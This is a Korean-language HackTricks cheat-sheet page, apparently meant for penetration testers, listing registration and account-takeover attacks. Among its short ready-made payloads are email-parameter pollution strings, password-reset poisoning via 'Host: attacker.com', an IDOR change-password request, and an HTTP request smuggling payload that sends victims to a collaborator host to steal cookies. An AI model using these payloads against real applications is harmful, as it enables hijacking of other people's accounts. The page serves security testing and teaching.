11 KiB
등록 및 탈취 취약점
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**까지 **AWS 해킹**을 배우세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 PDF로 HackTricks 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
WhiteIntel
WhiteIntel은 다크 웹을 활용한 검색 엔진으로, 회사 또는 고객이 스틸러 악성 소프트웨어에 의해 침해되었는지 확인하는 무료 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보 도난 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 확인하고 무료로 엔진을 시도해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
등록 탈취
중복 등록
- 기존 사용자 이름을 사용하여 생성을 시도하세요
- 이메일을 다양하게 확인하세요:
- 대문자
- +1@
- 이메일에 일부 점 추가
- 이메일 이름에 특수 문자 (%00, %09, %20)
- 이메일 뒤에 검은 문자 추가:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
사용자 이름 열거
사용자 이름이 이미 응용 프로그램 내에서 등록되었는지 확인할 수 있는지 확인하세요.
암호 정책
사용자를 생성할 때 암호 정책을 확인하세요 (약한 암호를 사용할 수 있는지 확인).
이 경우 자격 증명을 브루트포스할 수 있습니다.
SQL Injection
이 페이지를 확인하세요 : 등록 양식에서 SQL Injection을 사용하여 계정 탈취 또는 정보 추출을 시도하는 방법을 배우세요.
Oauth 탈취
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
SAML 취약점
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
이메일 변경
등록 후 이메일을 변경하고 이 변경이 올바르게 확인되는지 또는 임의의 이메일로 변경할 수 있는지 확인하세요.
추가 확인 사항
- 일회용 이메일을 사용할 수 있는지 확인하세요
- 긴 암호 (>200)는 DoS로 이어집니다
- 계정 생성의 속도 제한을 확인하세요
- username@burp_collab.net을 사용하고 콜백을 분석하세요
암호 재설정 탈취
Referrer를 통한 암호 재설정 토큰 누출
- 이메일 주소로 암호 재설정을 요청하세요
- 암호 재설정 링크를 클릭하세요
- 암호를 변경하지 마세요
- 제 3자 웹사이트(예: Facebook, Twitter)를 클릭하세요
- Burp Suite 프록시에서 요청을 가로채세요
- referer 헤더가 암호 재설정 토큰을 누출하는지 확인하세요.
암호 재설정 독려
- Burp Suite에서 암호 재설정 요청을 가로채세요
- Burp Suite에서 다음 헤더를 추가하거나 편집하세요:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- 수정된 헤더로 요청을 전달하세요
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- _host 헤더_를 기반으로 암호 재설정 URL을 찾으세요 :
https://attacker.com/reset-password.php?token=TOKEN
이메일 매개변수를 통한 암호 재설정
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
API 매개변수에서 IDOR
- 공격자는 자신의 계정으로 로그인하고 비밀번호 변경 기능으로 이동해야 합니다.
- Burp Suite를 시작하고 요청을 가로채기(intercept) 시작합니다.
- 요청을 Repeater 탭으로 보내고 매개변수를 편집합니다: 사용자 ID/이메일
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
취약한 비밀번호 재설정 토큰
비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다.
토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 다음 변수가 알고리즘에 사용될 수 있습니다.
- 타임스탬프
- 사용자 ID
- 사용자 이메일
- 이름과 성
- 생년월일
- 암호화
- 숫자만
- 작은 토큰 시퀀스 (문자 사이의 [A-Z,a-z,0-9])
- 토큰 재사용
- 토큰 만료 날짜
비밀번호 재설정 토큰 노출
- 특정 이메일(e.g: test@mail.com)을 사용하여 API/UI를 통해 비밀번호 재설정 요청을 트리거합니다.
- 서버 응답을 검사하고
resetToken
을 확인합니다. - 그런 다음 토큰을 다음과 같은 URL에서 사용합니다:
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
사용자 이름 충돌을 통한 비밀번호 재설정
- 희생자의 사용자 이름과 동일한 사용자 이름으로 시스템에 등록하되, 사용자 이름 앞 또는 뒤에 공백을 삽입합니다. 예:
"admin "
- 악의적인 사용자 이름으로 비밀번호 재설정을 요청합니다.
- 이메일로 전송된 토큰을 사용하여 희생자의 비밀번호를 재설정합니다.
- 새 비밀번호로 희생자 계정에 연결합니다.
플랫폼 CTFd는 이 공격에 취약했습니다.
참조: CVE-2020-7245
Cross Site Scripting을 통한 계정 탈취
- 애플리케이션 내부 또는 쿠키가 상위 도메인에 범위가 지정된 하위 도메인에서 XSS를 찾습니다. :
*.domain.com
- 현재 세션 쿠키를 노출합니다.
- 쿠키를 사용하여 사용자로 인증합니다.
HTTP 요청 스머글링을 통한 계정 탈취
- smuggler를 사용하여 HTTP 요청 스머글링 유형을 감지합니다 (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
\ POST / HTTP/1.1
을 다음 데이터로 덮어쓸 요청을 작성합니다.
GET http://something.burpcollaborator.net HTTP/1.1 X:
희생자를 burpcollab로 리디렉션하고 쿠키를 도용하는 것이 목표입니다.\- 최종 요청은 다음과 같이 보일 수 있습니다.
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Account Takeover via CSRF
- CSRF를 위한 payload 생성, 예: "비밀번호 변경을 위한 자동 제출이 포함된 HTML 폼"
- Payload 전송
Account Takeover via JWT
JSON Web Token은 사용자를 인증하는 데 사용될 수 있습니다.
- 다른 사용자 ID/이메일로 JWT 편집
- 취약한 JWT 서명 확인
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
References
WhiteIntel
WhiteIntel은 다크 웹을 활용한 검색 엔진으로, 회사나 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 확인하는 무료 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 방문하여 무료로 엔진을 시험해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- HackTricks에서 귀하의 회사를 광고하거나 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구입하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 귀하의 해킹 트릭을 공유하세요.